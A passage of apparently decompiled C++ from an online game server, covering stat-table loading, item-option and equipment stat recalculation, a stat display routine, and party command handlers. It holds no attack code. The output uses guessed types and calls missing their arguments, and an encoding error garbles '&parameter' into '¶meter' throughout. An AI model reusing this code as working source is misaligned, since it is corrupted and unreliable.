AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatInt", v42); ShineExit("ShineCommonParameter::scp_Load"); } ++v42; v43 += 4; } while ( (unsigned int)v42 < 0x97 ); v45 = 0; v46 = (int)v2->scp_param.freestatCon; do { v62 = 0; v61 = v45; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatConTable", 0x14u); v47 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v46 = v47; if ( v47 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatCon", v45); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v46 != *(_BYTE *)(*(_DWORD *)v46 + 7); v64 = (int *)(**(_BYTE **)v46 == *(_BYTE *)(*(_DWORD *)v46 + 7)); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatCon", v45); ShineExit("ShineCommonParameter::scp_Load"); } ++v45; v46 += 4; } while ( (unsigned int)v45 < 0x97 ); v48 = 0; v49 = (int)v2->scp_param.freestatDex; do { v62 = 0; v61 = v48; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatDexTable", 0x14u); v50 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v49 = v50; if ( v50 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatDex", v48); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v49 != *(_BYTE *)(*(_DWORD *)v49 + 5); v64 = (int *)(**(_BYTE **)v49 == *(_BYTE *)(*(_DWORD *)v49 + 5)); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatDex", v48); ShineExit("ShineCommonParameter::scp_Load"); } ++v48; v49 += 4; } while ( (unsigned int)v48 < 0x97 ); v51 = 0; v52 = (int)v2->scp_param.freestatMen; do { v62 = 0; v61 = v51; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatMenTable", 0x14u); v53 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v52 = v53; if ( v53 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatMen", v51); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v52 != *(_BYTE *)(*(_DWORD *)v52 + 7); v64 = (int *)(**(_BYTE **)v52 == *(_BYTE *)(*(_DWORD *)v52 + 7)); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatMen", v51); ShineExit("ShineCommonParameter::scp_Load"); } ++v51; v52 += 4; } while ( (unsigned int)v51 < 0x97 ); --funcallanalizer.fca_stackpoint; v101 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineCommonParameter::scp_Load"); __security_check_cookie(cookie); } //----- (00492AB0) -------------------------------------------------------- void __usercall FillRandomOption(int *itemstat, ItemInventoryCell *itemcell, ItemDataBox::ItemDataBoxIndex *itemdata) { ItemDataBox::ItemDataBoxIndex *v3; // esi@1 GradeItemOption *v4; // eax@1 int v5; // eax@3 int v6; // ebx@3 char v7; // al@4 int v8; // esi@6 int v9; // ecx@9 int *v10; // eax@9 int v11; // edx@9 unsigned int v12; // esi@16 signed int k; // [sp+Ch] [bp-18h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FillRandomOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FillRandomOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = itemdata; v4 = itemdata->itemoption; if ( v4 ) { *itemstat = v4->STR; itemstat[1] = itemdata->itemoption->CON; itemstat[2] = itemdata->itemoption->DEX; itemstat[3] = itemdata->itemoption->INT; itemstat[4] = itemdata->itemoption->MEN; } v5 = ((int (__stdcall *)(SHINE_ITEM_STRUCT *))itemcell->iic_AttrProc->vfptr->iac_GetItemOptionStruct)(&itemcell->iic_Item.iti_itemstruct); v6 = v5; if ( v5 ) { v7 = *(_BYTE *)v5; if ( *(_BYTE *)v6 & 1 ) { k = 0; if ( v7 & 0xFE ) { v8 = v6 + 1; do { if ( *(_BYTE *)v8 < 5u ) { v9 = *(_WORD *)(v8 + 1); v10 = &itemstat[*(_BYTE *)v8]; v11 = *v10; if ( itemdata->data->Class == 4 ) { *v10 = v9 + v11; } else { if ( v11 < v9 ) *v10 = v9; } } else { AssertClass::ac_AssertFail(&shineassert, "FillRandomOption : Type err", *(_BYTE *)v8); } v8 += 3; ++k; } while ( k < (signed int)((unsigned int)*(_BYTE *)v6 >> 1) ); v3 = itemdata; } } } if ( v3->data->Class == 4 ) { v12 = 0; do { itemstat[v12] += (unsigned __int16)((int (__stdcall *)(SHINE_ITEM_STRUCT *, unsigned int))itemcell->iic_AttrProc->vfptr->iac_GetItemOptionUpgrade)( &itemcell->iic_Item.iti_itemstruct, v12); ++v12; } while ( v12 < 5 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FillRandomOption"); } //----- (00492C30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RecalcEquipParam(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 ItemDataBox::ItemDataBoxIndex *v5; // eax@2 ItemInfoServer *v6; // eax@3 int v7; // eax@10 int v8; // ebx@10 unsigned __int16 v9; // di@11 ItemDataBox::ItemDataBoxIndex *v10; // esi@11 int v11; // eax@15 int v12; // eax@18 ItemAttributeClass *v13; // eax@20 CIDEB_Element *v14; // eax@22 int v15; // edi@25 int v16; // edx@25 int v17; // ecx@25 int v18; // edi@25 int v19; // edx@25 int v20; // edi@25 int v21; // ecx@25 int v22; // edx@25 int v23; // edi@25 int v24; // ecx@25 int v25; // edx@25 int v26; // edi@25 int v27; // edi@25 int v28; // eax@25 int v29; // edx@25 unsigned int v30; // eax@25 int v31; // edx@25 int v32; // edi@25 int v33; // eax@25 int v34; // eax@25 int v35; // ecx@25 int v36; // edi@25 int v37; // edx@25 int v38; // edi@25 int v39; // ecx@25 GradeItemOption *v40; // eax@25 int v41; // ecx@26 int v42; // eax@26 int v43; // edi@26 int v44; // edi@26 int v45; // ecx@26 int v46; // edi@26 int v47; // edx@26 int v48; // ecx@26 int v49; // eax@26 unsigned __int8 v50; // al@27 unsigned __int8 v51; // bl@27 UpGradeInfo *v52; // eax@30 int v53; // ecx@33 int v54; // ecx@34 int v55; // eax@37 int v56; // edx@37 int v57; // eax@37 char toohanded; // [sp+17h] [bp-3Dh]@1 ITEM_INVEN inv; // [sp+18h] [bp-3Ch]@37 FunctionEntarance _; // [sp+1Ch] [bp-38h]@1 int v61; // [sp+20h] [bp-34h]@28 int ibii; // [sp+24h] [bp-30h]@6 char *v63; // [sp+28h] [bp-2Ch]@6 int v64; // [sp+2Ch] [bp-28h]@6 int v65; // [sp+30h] [bp-24h]@6 int itemstat; // [sp+34h] [bp-20h]@25 int v67; // [sp+38h] [bp-1Ch]@25 int v68; // [sp+3Ch] [bp-18h]@25 int v69; // [sp+40h] [bp-14h]@25 int v70; // [sp+44h] [bp-10h]@25 int v71; // [sp+50h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 45858); memcpy((char *)v1 + 4204, ¶meter_eraser_plus, 0xC4u); memcpy((char *)v1 + 4400, ¶meter_eraser_rate, 0xC4u); memcpy((char *)v1 + 4596, ¶meter_eraser_plus, 0xC4u); memcpy((char *)v1 + 4792, ¶meter_eraser_rate, 0xC4u); v3 = *((_WORD *)v1 + 45859); *((_DWORD *)v1 + 1205) = v3; *((_DWORD *)v1 + 1210) = v3; *((_DWORD *)v1 + 1203) = v2; *((_DWORD *)v1 + 1204) = v2; *((_DWORD *)v1 + 1208) = v2; *((_DWORD *)v1 + 1209) = v2; memcpy((char *)v1 + 4988, ¶meter_eraser_plus, 0xC4u); memcpy((char *)v1 + 5184, ¶meter_eraser_rate, 0xC4u); v71 = 0; *((_DWORD *)v1 + 1132) = 0; toohanded = 0; v4 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 12); if ( v4 ) { v5 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v4 + 8)); if ( v5 ) { v6 = v5->dataserv; if ( v6 ) { if ( v6->Equ_LeftHand == 2 ) toohanded = 1; } } } *((_BYTE *)v1 + 92244) = 0; *((_BYTE *)v1 + 92270) = 0; ibii = (int)ItemBoxIterator::_vftable_; v63 = (char *)v1 + 32200; v65 = (*(int (__thiscall **)(char *))(*((_DWORD *)v1 + 8050) + 8))((char *)v1 + 32200); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v71) = 1; v64 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { while ( 1 ) { if ( toohanded && v64 == 10 || (v7 = (**(int (__stdcall ***)(_DWORD))v63)(v64), (v8 = v7) == 0) || (v9 = *(_WORD *)(v7 + 8), (v10 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v7 + 8))) == 0) ) goto LABEL_36; if ( v64 != 11 ) break; v11 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 10); if ( !v11 || *(_WORD *)(v11 + 8) == -1 ) goto LABEL_36; if ( v64 == 13 ) goto LABEL_18; LABEL_20: v13 = ItemAttributeClassContainer::operator__(&itmattcontainer, v9); if ( v13 ) { if ( v13->vfptr->iac_GetChargedNumber(v13, (ItemTotalInformation *)v8) || (*((_DWORD *)v1 + 23068) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing, (v14 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, v9)) != 0) && v14->ce_Data->EffectEnum == 28 ) { *((_DWORD *)v1 + 23068) = v8; LABEL_25: *((_BYTE *)v1 + 92244) |= v10->MovingShot; *((_BYTE *)v1 + 92270) |= v10->dataserv->PreventAttack; *((_DWORD *)v1 + 1056) += v10->data->MinWC; *((_DWORD *)v1 + 1057) += v10->data->MaxWC; v15 = *((_DWORD *)v1 + 1061); *((_DWORD *)v1 + 1058) += v10->data->AC; v16 = *((_DWORD *)v1 + 1062); *((_DWORD *)v1 + 1061) = v10->data->MinMA + v15; v17 = *((_DWORD *)v1 + 1063); *((_DWORD *)v1 + 1062) = v10->data->MaxMA + v16; v18 = *((_DWORD *)v1 + 1059); *((_DWORD *)v1 + 1063) = v10->data->MR + v17; v19 = *((_DWORD *)v1 + 1060); *((_DWORD *)v1 + 1059) = v10->data->TH + v18; v20 = *((_DWORD *)v1 + 1078); v21 = *((_DWORD *)v1 + 1077); *((_DWORD *)v1 + 1060) = v10->data->TB + v19; *((_DWORD *)v1 + 1077) = v10->data->ShieldAC + v21; v22 = *((_DWORD *)v1 + 1079); *((_DWORD *)v1 + 1078) = v10->data->HitRatePlus + v20; v23 = *((_DWORD *)v1 + 1132); v24 = *((_DWORD *)v1 + 1080); *((_DWORD *)v1 + 1079) = v10->data->EvaRatePlus + v22; *((_DWORD *)v1 + 1080) = v10->data->MACriPlus + v24; v25 = *((_DWORD *)v1 + 1081); *((_DWORD *)v1 + 1132) = v10->data->CriRate + v23; *((_DWORD *)v1 + 1081) = v10->data->CriDamPlus + v25; v26 = *((_DWORD *)v1 + 1203); *((_DWORD *)v1 + 1082) += v10->data->MagCriDamPlus; *((_DWORD *)v1 + 1203) = v10->data->WCRate - 1000 + v26; *((_DWORD *)v1 + 1204) += v10->data->WCRate - 1000; v27 = *((_DWORD *)v1 + 1210); v28 = *((_DWORD *)v1 + 1208); *((_DWORD *)v1 + 1205) += v10->data->ACRate - 1000; v29 = *((_DWORD *)v1 + 1209); *((_DWORD *)v1 + 1208) = v10->data->MARate - 1000 + v28; *((_DWORD *)v1 + 1209) = v10->data->MARate - 1000 + v29; v30 = v10->data->MRRate; itemstat = 0; v67 = 0; v68 = 0; *((_DWORD *)v1 + 1210) = v30 - 1000 + v27; v69 = 0; v70 = 0; FillRandomOption((ItemInventoryCell *)v8, v10, &itemstat); v31 = itemstat; v32 = *((_DWORD *)v1 + 1051); v33 = *((_DWORD *)v1 + 1053); *((_DWORD *)v1 + 1052) += v67; v34 = v68 + v33; v35 = *((_DWORD *)v1 + 1055); v36 = v31 + v32; v37 = v69; *((_DWORD *)v1 + 1051) = v36; v38 = *((_DWORD *)v1 + 1054); *((_DWORD *)v1 + 1053) = v34; v39 = v70 + v35; *((_DWORD *)v1 + 1054) = v37 + v38; *((_DWORD *)v1 + 1055) = v39; v40 = v10->itemoption; if ( v40 ) { *((_DWORD *)v1 + 1143) += v40->ResistPoison; v41 = *((_DWORD *)v1 + 1145); *((_DWORD *)v1 + 1144) += v10->itemoption->ResistDeaseas; v42 = *((_DWORD *)v1 + 1146); *((_DWORD *)v1 + 1145) = v10->itemoption->ResistCurse + v41; v43 = *((_DWORD *)v1 + 1217); *((_DWORD *)v1 + 1146) = v10->itemoption->ResistMoveSpdDown + v42; *((_DWORD *)v1 + 1217) = v10->itemoption->MoveSpdRate + v43; v44 = *((_DWORD *)v1 + 1206); *((_DWORD *)v1 + 1066) += v10->itemoption->AbsoluteAttack; *((_DWORD *)v1 + 1074) += v10->itemoption->Critical; v45 = *((_DWORD *)v1 + 1207); *((_DWORD *)v1 + 1206) = v10->itemoption->ToHitRate - 1000 + v44; v46 = *((_DWORD *)v1 + 1059); *((_DWORD *)v1 + 1207) = v10->itemoption->ToBlockRate - 1000 + v45; v47 = *((_DWORD *)v1 + 1060); *((_DWORD *)v1 + 1059) = v10->itemoption->ToHitPlus + v46; v48 = *((_DWORD *)v1 + 1086); *((_DWORD *)v1 + 1060) = v10->itemoption->ToBlockPlus + v47; v49 = *((_DWORD *)v1 + 1087); *((_DWORD *)v1 + 1086) = v10->itemoption->MaxHP + v48; *((_DWORD *)v1 + 1087) = v10->itemoption->MaxSP + v49; } v50 = (*(int (__stdcall **)(int))(**(_DWORD **)(v8 + 112) + 44))(v8); v51 = v50; if ( v50 ) { v61 = v50 <= 0xCu; if ( v50 <= 0xCu ) { v52 = UpgradeDataBox::operator__(&upgradedatabox, v10->data->BasicUpInx); switch ( v52->UpFactor ) { case 0: *((_DWORD *)v1 + 1254) += *((_WORD *)&v52->UpFactor + v51 + 1); break; case 2: *((_DWORD *)v1 + 1273) += *((_WORD *)&v52->UpFactor + v51 + 1); break; case 1: v53 = *((_DWORD *)v1 + 1253); *((_DWORD *)v1 + 1252) += *((_WORD *)&v52->UpFactor + v51 + 1); *((_DWORD *)v1 + 1253) = *((_WORD *)&v52->UpFactor + v51 + 1) + v53; break; case 3: v54 = *((_DWORD *)v1 + 1258); *((_DWORD *)v1 + 1257) += *((_WORD *)&v52->UpFactor + v51 + 1); *((_DWORD *)v1 + 1258) = *((_WORD *)&v52->UpFactor + v51 + 1) + v54; break; case 4: *((_DWORD *)v1 + 1259) += *((_WORD *)&v52->UpFactor + v51 + 1); break; default: goto LABEL_36; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_RecalcEquipParam : Invalid upgrade", v50); } } goto LABEL_36; } } LABEL_36: if ( !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) goto LABEL_37; } if ( v64 != 13 ) goto LABEL_25; LABEL_18: v12 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))( (char *)v1 + 32200, 12); if ( !v12 || *(_WORD *)(v12 + 8) == -1 ) goto LABEL_36; goto LABEL_20; } LABEL_37: v55 = (*(int (__thiscall **)(void *, ITEM_INVEN *))(*(_DWORD *)v1 + 1876))(v1, &inv); v56 = *(_DWORD *)v1; *((_DWORD *)v1 + 23057) = v55; (*(void (__thiscall **)(void *))(v56 + 1300))(v1); *((_DWORD *)v1 + 22482) = ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip; ShineObjectClass::ShinePlayer::sp_SetItemCheck(v1); v57 = *((_DWORD *)v1 + 23068); if ( v57 && *(_WORD *)(v57 + 8) == -1 ) *((_DWORD *)v1 + 23068) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing; --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v71 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"); } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 1246F078: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; //----- (004933F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RecalcPassiveParam(void *this) { void *v1; // ebx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcPassiveParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RecalcPassiveParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 5772, ¶meter_eraser_plus, 0xC4u); memcpy((char *)v1 + 5968, ¶meter_eraser_rate, 0xC4u); CharacterPassiveList::cpl_RecalcParam( (CharacterPassiveList *)((char *)v1 + 68260), (Parameter::Container *)((char *)v1 + 4008), (ItemBag *)v1 + 8050); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcPassiveParam"); } //----- (004934C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RecalcLastParam(void *this) { void *v1; // ebx@1 unsigned __int16 *v2; // eax@1 int v3; // edi@2 int v4; // esi@2 int v5; // edx@2 int v6; // ecx@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcLastParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RecalcLastParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 6556, ¶meter_eraser_plus, 0xC4u); memcpy((char *)v1 + 6752, ¶meter_eraser_rate, 0xC4u); v2 = (unsigned __int16 *)PassiveDataBox::sdb_SpecSkillStruct((PassiveDataBox *)&passivedatabox); if ( CharacterPassiveList::cpl_IsLearn((CharacterPassiveList *)((char *)v1 + 68260), *v2) ) { v3 = *((_DWORD *)v1 + 1689); v4 = *((_DWORD *)v1 + 1690); v5 = *((_DWORD *)v1 + 1691); *((_DWORD *)v1 + 1688) += 50; v6 = *((_DWORD *)v1 + 1692); *((_DWORD *)v1 + 1689) = v3 + 50; *((_DWORD *)v1 + 1690) = v4 + 50; *((_DWORD *)v1 + 1691) = v5 + 50; *((_DWORD *)v1 + 1692) = v6 + 50; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcLastParam"); } //----- (004935E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ParameterView(void *this, int param) { void *v2; // esi@1 char *v3; // [sp-2Ch] [bp-144h]@3 const char *v4; // [sp-28h] [bp-140h]@2 char buffer[256]; // [sp+8h] [bp-110h]@1 unsigned int v6; // [sp+108h] [bp-10h]@15 int v7; // [sp+114h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ParameterView"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ParameterView"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; buffer[0] = 0; switch ( param ) { case 0: v4 = "Str/%d/%d/%d/%d/%d/%d/%d/%d/%d"; goto LABEL_12; case 1: v4 = "Con/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 2: v4 = "Dex/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 3: v4 = "Int/%d/%d/%d/%d/%d/%d/%d/%d/%d"; goto LABEL_12; case 4: v4 = "Men/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 5: v4 = "WCmin/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 6: v4 = "WCmax/%d/%d/%d/%d/%d/%d/%d/%d/%d"; goto LABEL_12; case 7: v4 = "AC/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 8: v4 = "TH/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 9: v4 = "TB/%d/%d/%d/%d/%d/%d/%d/%d/%d"; LABEL_12: v3 = buffer; LABEL_13: sprintf(v3, v4); if ( buffer[0] ) (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 1836))(v2, buffer); break; default: break; } --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ParameterView"); __security_check_cookie(v6); } //----- (004939F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // di@1 unsigned __int16 v3; // cx@2 int v4; // eax@3 int v5; // esi@3 unsigned __int16 v6; // bx@3 bool v7; // cf@3 int v8; // eax@4 AbnormalStateContainer::AbstateElementInObject *v9; // eax@5 int v10; // eax@9 char v11; // cl@9 AbnormalStateContainer::AbstateElementInObject **v12; // eax@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 6164, ¶meter_eraser_plus, 0xC4u); memcpy((char *)v1 + 6360, ¶meter_eraser_rate, 0xC4u); *((_WORD *)v1 + 3572) = 0; *((_WORD *)v1 + 3573) = 0; *((_WORD *)v1 + 3574) = -1; *((_WORD *)v1 + 3575) = 1000; *((_DWORD *)v1 + 1631) = 0; *((_DWORD *)v1 + 1622) = 0; *((_DWORD *)v1 + 1133) = 0; v2 = *(_WORD *)(*((_DWORD *)v1 + 923) + 12 * *((_WORD *)v1 + 1849) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 1844); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 923); v5 = v2; v6 = v2; v7 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( v7 && (v8 = v4 + 12 * v5, *(_BYTE *)(v8 + 8)) ) v9 = *(AbnormalStateContainer::AbstateElementInObject **)v8; else v9 = 0; if ( AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(v9) ) { if ( v6 < *((_WORD *)v1 + 1844) && (v10 = *((_DWORD *)v1 + 923), v11 = *(_BYTE *)(v10 + 12 * v5 + 8), v12 = (AbnormalStateContainer::AbstateElementInObject **)(v10 + 12 * v5), v11) ) AbnormalStateContainer::AbstateElementInObject::aeo_ParameterEnchant( *v12, (Parameter::Container *)((char *)v1 + 4008)); else AbnormalStateContainer::AbstateElementInObject::aeo_ParameterEnchant( 0, (Parameter::Container *)((char *)v1 + 4008)); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam"); } //----- (00493B80) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_DISMISS_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // si@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 < 0x7D0u ) { MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(&mapclustermanager, 0, v3); PartyManufacture::pm_Break(&partymanufacture, v3); CParty::PartyDelete(&partycontainer, v3); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD : delete party in empty slot", v3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD"); } //----- (00493C60) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CParty::MemberSetMaster(&partycontainer, netcmd[1].protocol, *(_DWORD *)&netcmd[2].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD"); } //----- (00493D10) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_LOGIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGIN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_LOGIN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGIN_CMD"); } //----- (00493D60) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD"); } //----- (00493DB0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 < 0x7D0u ) CParty::SetItemLooting(&partycontainer, v3, LOBYTE(netcmd[2].protocol)); else AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD : delete party in empty slot", v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"); } //----- (00493E80) -------------------------------------------------------- #331 *__thiscall PartyManufacture::pm_FindMember(PartyManufacture *this, unsigned __int16 partyregnum, unsigned __int16 sub) { #331 *result; // eax@2 char *v4; // eax@3 char v5; // cl@3 int v6; // esi@5 #331 *v7; // esi@11 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, 